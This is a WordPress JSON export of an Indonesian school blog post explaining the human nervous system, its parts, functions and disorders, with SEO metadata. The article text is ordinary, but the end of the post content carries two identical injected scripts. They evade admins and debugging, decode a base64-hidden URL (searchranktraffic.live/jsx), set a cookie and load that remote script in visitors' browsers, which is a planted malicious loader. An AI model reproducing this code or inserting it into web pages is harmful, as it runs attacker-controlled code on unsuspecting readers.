{"id":1568,"date":"2025-07-01T09:00:42","date_gmt":"2025-07-01T02:00:42","guid":{"rendered":"https:\/\/www.altaglobalschool.com\/blog\/?p=1568"},"modified":"2026-01-20T06:25:43","modified_gmt":"2026-01-19T23:25:43","slug":"sistem-saraf-manusia","status":"publish","type":"post","link":"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia","title":{"rendered":"Sistem Saraf Manusia: Bagian, Fungsi dan Gangguan"},"content":{"rendered":"<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/1405eca1-ba79-4d44-80d5-ea831dd75dcd.png\" alt=\"sistem saraf\" \/><\/p>\n<blockquote>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Sistem saraf mengatur gerakan tubuh dan berbagai respon tubuh lainnya. Yuk, ketahui pengertian, bagian, fungsi, dan gangguan yang dapat terjadi!<\/span><\/em><\/p>\n<\/blockquote>\n<p style=\"text-align: center;\"><i><span style=\"font-weight: 400;\">\u2014<\/span><\/i><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Pernahkah kamu berpikir bagaimana jantung kita bisa terus bergerak tanpa henti, bagaimana tangan kita bisa menggenggam sesuatu, atau bagaimana kita bisa bernafas terus menerus tanpa sadar, bahkan saat kita tidur pulas?<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Semua hal itu dikendalikan oleh sistem saraf yang ada di dalam tubuh kita. Sistem saraf bekerja seperti pusat pengendali yang mengontrol berbagai aktivitas, baik yang kita sadari maupun yang terjadi secara otomatis.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Apa yang dimaksud dengan sistem saraf itu? Apa hubungan sistem saraf dengan gerakan tubuh kita? Yuk, kita cari tahu pengertian, bagian-bagian, fungsi, cara kerja, dan penyakit yang dapat mengganggu sistem saraf!<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Apa Itu Sistem Saraf?<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><strong>Sistem saraf adalah jaringan kompleks yang terdiri dari otak, sumsum tulang belakang, dan saraf.<\/strong><span style=\"font-weight: 400;\"> Sistem saraf bekerja dengan mengirimkan pesan atau sinyal listrik dari otak ke seluruh tubuh, dan sebaliknya. Pesan-pesan inilah yang membuat kita bisa bernapas, bergerak, berbicara, dan melihat.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sistem saraf juga memantau apa yang terjadi di dalam dan di luar tubuh, lalu menentukan bagaimana cara tubuh meresponnya. Misalnya, saat tangan menyentuh benda panas, kita secara refleks akan segera menarik tangan untuk menghindari rasa sakit.<\/span><\/p>\n<p><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/db97c662-8519-4547-9054-490f9ce5d1f3.png\" alt=\"Gambar sistem saraf\" width=\"400\" \/><\/p>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Gambar sistem saraf. (Sumber: my.clevelandclinic)<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Selain mengatur gerakan dan respon refleks, sistem saraf juga mengatur hal yang lebih rumit seperti mengingat, berpikir, dan mengendalikan emosi. Sistem saraf juga mengatur proses otomatis dalam tubuh seperti berkeringat, detak jantung, bernapas, dan berkedip tanpa kita sadari. <\/span><em><span style=\"font-weight: 400;\">Wah<\/span><\/em><i><span style=\"font-weight: 400;\">,<\/span><\/i><span style=\"font-weight: 400;\"> ternyata banyak banget ya tugas dan peran sistem saraf!<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/sistem-pernapasan-manusia\">Sistem Pernapasan Manusia: Organ, Fungsi, dan Cara Kerja<\/a>\u00a0<\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Fungsi Sistem Saraf<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Fungsi utama sistem saraf adalah mengatur dan mengendalikan semua aktivitas tubuh agar berjalan dengan baik. Sistem saraf menerima informasi dari seluruh tubuh dan mengirimkan sinyal untuk merespons rangsangan tersebut. Berikut beberapa fungsi penting sistem saraf:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mengontrol pikiran, daya ingat, dan perasaan.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mengatur gerakan tubuh, termasuk koordinasi dan keseimbangan.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mengatur fungsi panca indera, seperti melihat, mendengar, berbicara, merasakan, dan menyentuh.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mengatur detak jantung dan laju pernapasan.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Membantu fungsi pencernaan.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mempengaruhi produksi hormon pada sistem endokrin.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mengatur proses-proses tubuh seperti tidur, penyembuhan, dan penuaan.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mengatur proses perkembangan tubuh seperti pubertas.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mengontrol emosi, seperti rasa marah, senang, sedih, atau takut.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mengatur suhu tubuh agar tetap stabil sesuai kebutuhan.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/sistem-pencernaan-manusia\">Sistem Pencernaan Manusia: Organ, Fungsi, dan Cara Kerja<\/a>\u00a0<\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Bagian-Bagian Sistem Saraf Manusia\u00a0<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sistem saraf yang kompleks terbagi atas dua kelompok besar, yaitu sistem saraf pusat dan sistem saraf tepi. Yuk, simak penjelasan lengkapnya!<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1. Sistem Saraf Pusat (SSP)<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sistem saraf pusat adalah sistem yang berfungsi menerima, mengolah, dan mengatur informasi dari seluruh tubuh. Sistem saraf pusat terdiri dari:\u00a0<\/span><\/p>\n<h4><span style=\"font-size: 12pt;\"><b>a. Otak<\/b><\/span><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Otak merupakan pusat pengendali tubuh yang mengatur pikiran, gerakan, dan ingatan. Otak terbagi menjadi beberapa bagian yaitu otak besar <\/span><i><span style=\"font-weight: 400;\">(<\/span><\/i><em><span style=\"font-weight: 400;\">cerebrum<\/span><\/em><i><span style=\"font-weight: 400;\">)<\/span><\/i><span style=\"font-weight: 400;\">, otak kecil <\/span><i><span style=\"font-weight: 400;\">(<\/span><\/i><em><span style=\"font-weight: 400;\">cerebellum<\/span><\/em><i><span style=\"font-weight: 400;\">)<\/span><\/i><span style=\"font-weight: 400;\">, batang otak <\/span><i><span style=\"font-weight: 400;\">(<\/span><\/i><em><span style=\"font-weight: 400;\">brain stem<\/span><\/em><i><span style=\"font-weight: 400;\">)<\/span><\/i><span style=\"font-weight: 400;\">, dan bagian kecil lainnya.<\/span><\/p>\n<h4><span style=\"font-size: 12pt;\"><b>b. Sumsum tulang belakang\u00a0<\/b><\/span><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sumsum tulang belakang terdiri dari serabut-serabut saraf yang menghubungkan otak dengan bagian tubuh lain. Bagian ini bertugas menyampaikan sinyal dari otak ke tubuh dan sebaliknya.<\/span><\/p>\n<h4><span style=\"font-size: 12pt;\"><b>c. Neuron\u00a0<\/b><\/span><\/h4>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Neuron adalah unit kerja dari sistem saraf yang saling berkomunikasi untuk menghantarkan impuls dan menghasilkan respons. Setiap neuron terdiri dari tiga bagian utama, yaitu badan sel, dendrit, dan akson.<\/span><\/p>\n<p><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/2ec36f21-329d-425f-a593-3804576d0392.png\" alt=\"bagian neuron\" width=\"600\" \/><\/p>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Bagian-bagian Neuron. (Sumber: freepik.com\/author\/macrovector)<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Sistem Saraf Tepi (SST)<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sistem saraf tepi (saraf perifer) terdiri dari saraf-saraf yang terletak di luar dari otak dan sumsum tulang belakang. Sistem ini bertugas membawa informasi dari otak ke organ tubuh dan sebaliknya.<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Berdasarkan cara kerjanya<\/strong><span style=\"font-weight: 400;\">, sistem saraf tepi dibagi menjadi dua, yaitu:<\/span><\/p>\n<p><strong>a. Sistem Saraf Somatik<\/strong><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Mengendalikan gerakan sadar dan menghubungkan sistem saraf pusat dengan mata, telinga, kulit, dan otot. Sistem ini mengirimkan informasi sensorik dan membawa perintah <\/span><strong>gerakan yang disadari.<\/strong><\/p>\n<p><strong>b. Sistem Saraf Otonom<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>Mengontrol fungsi tubuh yang tidak disadari,<\/strong><span style=\"font-weight: 400;\"> seperti kerja jantung, pencernaan, dan pernapasan. Sistem saraf otonom terbagi menjadi:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"2\"><strong>Sistem Simpatik<\/strong><span style=\"font-weight: 400;\"><strong>,<\/strong> yang bekerja saat tubuh menghadapi stres atau bahaya<\/span><i><span style=\"font-weight: 400;\"> (<\/span><\/i><em><span style=\"font-weight: 400;\">flight or fight<\/span><\/em><i><span style=\"font-weight: 400;\">)<\/span><\/i><span style=\"font-weight: 400;\">.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"2\"><strong>Sistem Parasimpatik<\/strong><span style=\"font-weight: 400;\"><strong>,<\/strong> yang mengatur agar tubuh tetap tenang dan rileks <\/span><i><span style=\"font-weight: 400;\">(<\/span><\/i><em><span style=\"font-weight: 400;\">rest and digest<\/span><\/em><i><span style=\"font-weight: 400;\">)<\/span><\/i><span style=\"font-weight: 400;\">.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Selain itu,<\/span> <strong>berdasarkan asalnya,<\/strong> <span style=\"font-weight: 400;\">sistem saraf tepi terdiri dari:\u00a0<\/span><\/p>\n<p><strong>a. Saraf Kranial<\/strong><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Terdiri dari 12 pasang saraf yang <\/span><strong>berasal dari otak.<\/strong><span style=\"font-weight: 400;\"> Saraf ini menghubungkan otak dengan berbagai bagian tubuh dan mengendalikan fungsi motorik serta sensorik.<\/span><\/p>\n<p><strong>b. Saraf Spinal<\/strong><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Terdiri dari 31 pasang saraf yang <\/span><strong>berasal dari sumsum tulang belakang.<\/strong><span style=\"font-weight: 400;\"> Saraf ini menyampaikan impuls dari dan ke otak serta mengatur gerakan refleks.<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/sistem-gerak-pada-manusia\">Sistem Gerak Manusia: Organ, Fungsi, dan Gangguannya<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Gangguan pada Sistem Saraf<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sistem saraf dapat terkena gangguan atau penyakit, seperti:<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1. Stroke\u00a0<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Stroke terjadi saat aliran darah ke otak terganggu, bisa karena pembuluh darah tersumbat atau pecah. Akibatnya, bagian otak yang tidak mendapatkan aliran darah bisa rusak. Gejala umumnya adalah tubuh yang sulit bergerak dan kesulitan berbicara.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Alzheimer\u00a0<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Alzheimer adalah penyakit yang membuat daya ingat dan kemampuan berpikir menurun secara bertahap. Meskipun sering terjadi pada orang lanjut usia, alzheimer juga bisa dialami oleh orang yang lebih muda, terutama jika ada faktor genetik.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>3. Parkinson\u00a0<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Parkinson menyebabkan otot menjadi kaku dan tubuh bergetar (tremor). Hal ini terjadi karena ada kerusakan saraf yang mengatur gerakan tubuh.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>4. Epilepsi<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Epilepsi adalah gangguan yang menyebabkan seseorang mengalami kejang secara tiba-tiba karena aktivitas listrik di otak yang tidak normal. Kejang yang dialami bisa berupa gerakan tak terkendali, kehilangan kesadaran, atau gejala lain yang tidak biasa.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>5. Bell\u2019s Palsy<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Bell\u2019s Palsy adalah kondisi yang menyebabkan kelemahan atau kelumpuhan sementara pada salah satu sisi wajah. Hal ini terjadi akibat peradangan atau pembengkakan pada saraf wajah (saraf fasialis), yang berfungsi mengatur otot-otot di wajah. Akibatnya, wajah bisa terlihat tidak simetris atau menurun pada sisi yang terdampak.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Selain 5 gangguan di atas, ada beberapa penyakit lain yang dapat menyerang saraf, seperti Multiple Sclerosis (MS), Neuropati, Migrain, Meningitis, cedera sumsum tulang belakang, dan Demensia.\u00a0<\/span><\/p>\n<p style=\"text-align: center;\"><b><i>\u2014<\/i><\/b><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Nah, itulah pembahasan mengenai sistem saraf manusia, mulai dari pengertian, bagian-bagiannya, fungsi, hingga beberapa gangguan yang dapat terjadi pada sistem saraf. Sekarang, kamu jadi lebih paham tentang sistem saraf, bukan? Seru, kan belajar tentang sistem saraf? Kalau kamu penasaran dan ingin belajar lebih banyak lagi tentang tubuh manusia atau ilmu pengetahuan lainnya, yuk belajar di Alta Global School!<\/span><\/p>\n<p style=\"text-align: justify;\"><strong><a href=\"https:\/\/altaschool.id\/\">Alta Global School by Ruangguru<\/a><\/strong><span style=\"font-weight: 400;\"> adalah sekolah berbasis <\/span><em><span style=\"font-weight: 400;\">blended learning<\/span><\/em><span style=\"font-weight: 400;\"> yang menggabungkan kurikulum internasional dan nasional untuk jenjang <\/span><em><span style=\"font-weight: 400;\">preschool<\/span><\/em><span style=\"font-weight: 400;\"> hingga <\/span><em><span style=\"font-weight: 400;\">high school<\/span><\/em><span style=\"font-weight: 400;\">. Klik <\/span><span style=\"font-weight: 400;\"><em>banner<\/em> <\/span><span style=\"font-weight: 400;\">di bawah ini untuk informasi lengkapnya!<\/span><\/p>\n<p><a href=\"https:\/\/cdn.jotfor.ms\/250018424797460&amp;channel=blog-ags&amp;subchannel1=button-ags&amp;source=ags\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/c30888d1-988b-4e9e-b0a6-20fe32081d0d.png\" alt=\"Banner Blog AGS\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Sumber:\u00a0<\/strong><\/p>\n<p style=\"text-align: left;\"><span style=\"font-weight: 400;\">Cleveland Clinic. Nervous System [daring]. Tautan: https:\/\/my-clevelandclinic-org.translate.goog\/health\/body\/21202-nervous-system<\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"font-weight: 400;\">Siloam Hospital. 2024. Mengenal Anatomi Sistem Saraf Manusia &amp; Jenis Penyakitnya [daring]. Tautan: https:\/\/www.siloamhospitals.com\/informasi-siloam\/artikel\/sistem-saraf-manusia<\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"font-weight: 400;\">Halodoc. 2025. Sistem Saraf Manusia [daring]. Tautan: https:\/\/www.halodoc.com\/kesehatan\/sistem-saraf-manusia<\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"font-weight: 400;\">Gramedia. Sistem Saraf pada Manusia: Pengertian, Bagian dan Gangguannya [daring]. Tautan: https:\/\/www.gramedia.com\/literasi\/sistem-saraf-pada-manusia\/ (Diakses 25 Mei 2025)<\/span><\/p>\n<p style=\"text-align: left;\"><strong>Sumber gambar:<\/strong><\/p>\n<p style=\"text-align: left;\"><span style=\"font-weight: 400;\">Gambar sistem saraf: https:\/\/my.clevelandclinic.org\/health\/body\/21202-nervous-system<\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"font-weight: 400;\">Gambar Neuron: https:\/\/www.freepik.com\/free-vector\/neuron-anatomy-composition-with-educational-structure-brain-cell-with-colored-elements-editable-text-captions-vector-illustration_43869050.htm<\/span><\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sistem saraf mengatur gerakan tubuh dan berbagai respon tubuh lainnya. Yuk, ketahui pengertian, bagian, fungsi, dan gangguan yang dapat terjadi! \u2014 Pernahkah kamu berpikir bagaimana jantung kita bisa terus bergerak tanpa henti, bagaimana tangan kita bisa menggenggam sesuatu, atau bagaimana kita bisa bernafas terus menerus tanpa sadar, bahkan saat kita tidur pulas? Semua hal itu [&hellip;]<\/p>\n","protected":false},"author":43,"featured_media":1568,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_edit_lock":["1751275916:1"],"_edit_last":["1"],"_aioseo_title":[null],"_aioseo_description":["Sistem saraf mengatur gerakan tubuh dan berbagai respon tubuh lainnya. Yuk, ketahui pengertian, bagian, fungsi, dan gangguan yang dapat terjadi!"],"_aioseo_keywords":["a:0:{}"],"_aioseo_og_title":[null],"_aioseo_og_description":[null],"_aioseo_og_article_section":[""],"_aioseo_og_article_tags":["a:0:{}"],"_aioseo_twitter_title":[null],"_aioseo_twitter_description":[null],"_knawatfibu_url":["https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/1405eca1-ba79-4d44-80d5-ea831dd75dcd.png"],"_linker_next_update":["1769393714"],"_yoast_wpseo_metadesc":["Sistem saraf mengatur gerakan tubuh dan berbagai respon tubuh lainnya. Yuk, ketahui pengertian, bagian, fungsi, dan gangguan yang dapat terjadi!"]},"categories":[1],"tags":[],"class_list":["post-1568","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Sistem Saraf Manusia: Bagian, Fungsi dan Gangguan<\/title>\n<meta name=\"description\" content=\"Sistem saraf mengatur gerakan tubuh dan berbagai respon tubuh lainnya. Yuk, ketahui pengertian, bagian, fungsi, dan gangguan yang dapat terjadi!\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sistem Saraf Manusia: Bagian, Fungsi dan Gangguan\" \/>\n<meta property=\"og:description\" content=\"Sistem saraf mengatur gerakan tubuh dan berbagai respon tubuh lainnya. Yuk, ketahui pengertian, bagian, fungsi, dan gangguan yang dapat terjadi!\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia\" \/>\n<meta property=\"og:site_name\" content=\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\" \/>\n<meta property=\"article:published_time\" content=\"2025-07-01T02:00:42+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-01-19T23:25:43+00:00\" \/>\n<meta name=\"author\" content=\"Devi Lianovanda\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Devi Lianovanda\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia\",\"name\":\"Sistem Saraf Manusia: Bagian, Fungsi dan Gangguan\",\"isPartOf\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia#primaryimage\"},\"thumbnailUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/1405eca1-ba79-4d44-80d5-ea831dd75dcd.png\",\"datePublished\":\"2025-07-01T02:00:42+00:00\",\"dateModified\":\"2026-01-19T23:25:43+00:00\",\"author\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/6dcd20383b39caa2c9674d08b39fc6ac\"},\"description\":\"Sistem saraf mengatur gerakan tubuh dan berbagai respon tubuh lainnya. Yuk, ketahui pengertian, bagian, fungsi, dan gangguan yang dapat terjadi!\",\"breadcrumb\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia#primaryimage\",\"url\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/1405eca1-ba79-4d44-80d5-ea831dd75dcd.png\",\"contentUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/1405eca1-ba79-4d44-80d5-ea831dd75dcd.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.altaglobalschool.com\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Sistem Saraf Manusia: Bagian, Fungsi dan Gangguan\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/\",\"name\":\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/6dcd20383b39caa2c9674d08b39fc6ac\",\"name\":\"Devi Lianovanda\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/51a9ca0e620f8e70168b31d6ee1335470844b915acc41b0e5e6211181acd871e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/51a9ca0e620f8e70168b31d6ee1335470844b915acc41b0e5e6211181acd871e?s=96&d=mm&r=g\",\"caption\":\"Devi Lianovanda\"},\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/author\/devi-lianovanda\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Sistem Saraf Manusia: Bagian, Fungsi dan Gangguan","description":"Sistem saraf mengatur gerakan tubuh dan berbagai respon tubuh lainnya. Yuk, ketahui pengertian, bagian, fungsi, dan gangguan yang dapat terjadi!","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.altaglobalschool.com\/blog\/sistem-saraf-manusia","og_locale":"en_US","og_type":"article","og_title":"Sistem Saraf Manusia: Bagian, Fungsi dan Gangguan","og_description":"Sistem saraf mengatur gerakan tubuh dan berbagai respon tubuh lainnya. Yuk, ketahui pengertian, bagian, fungsi, dan 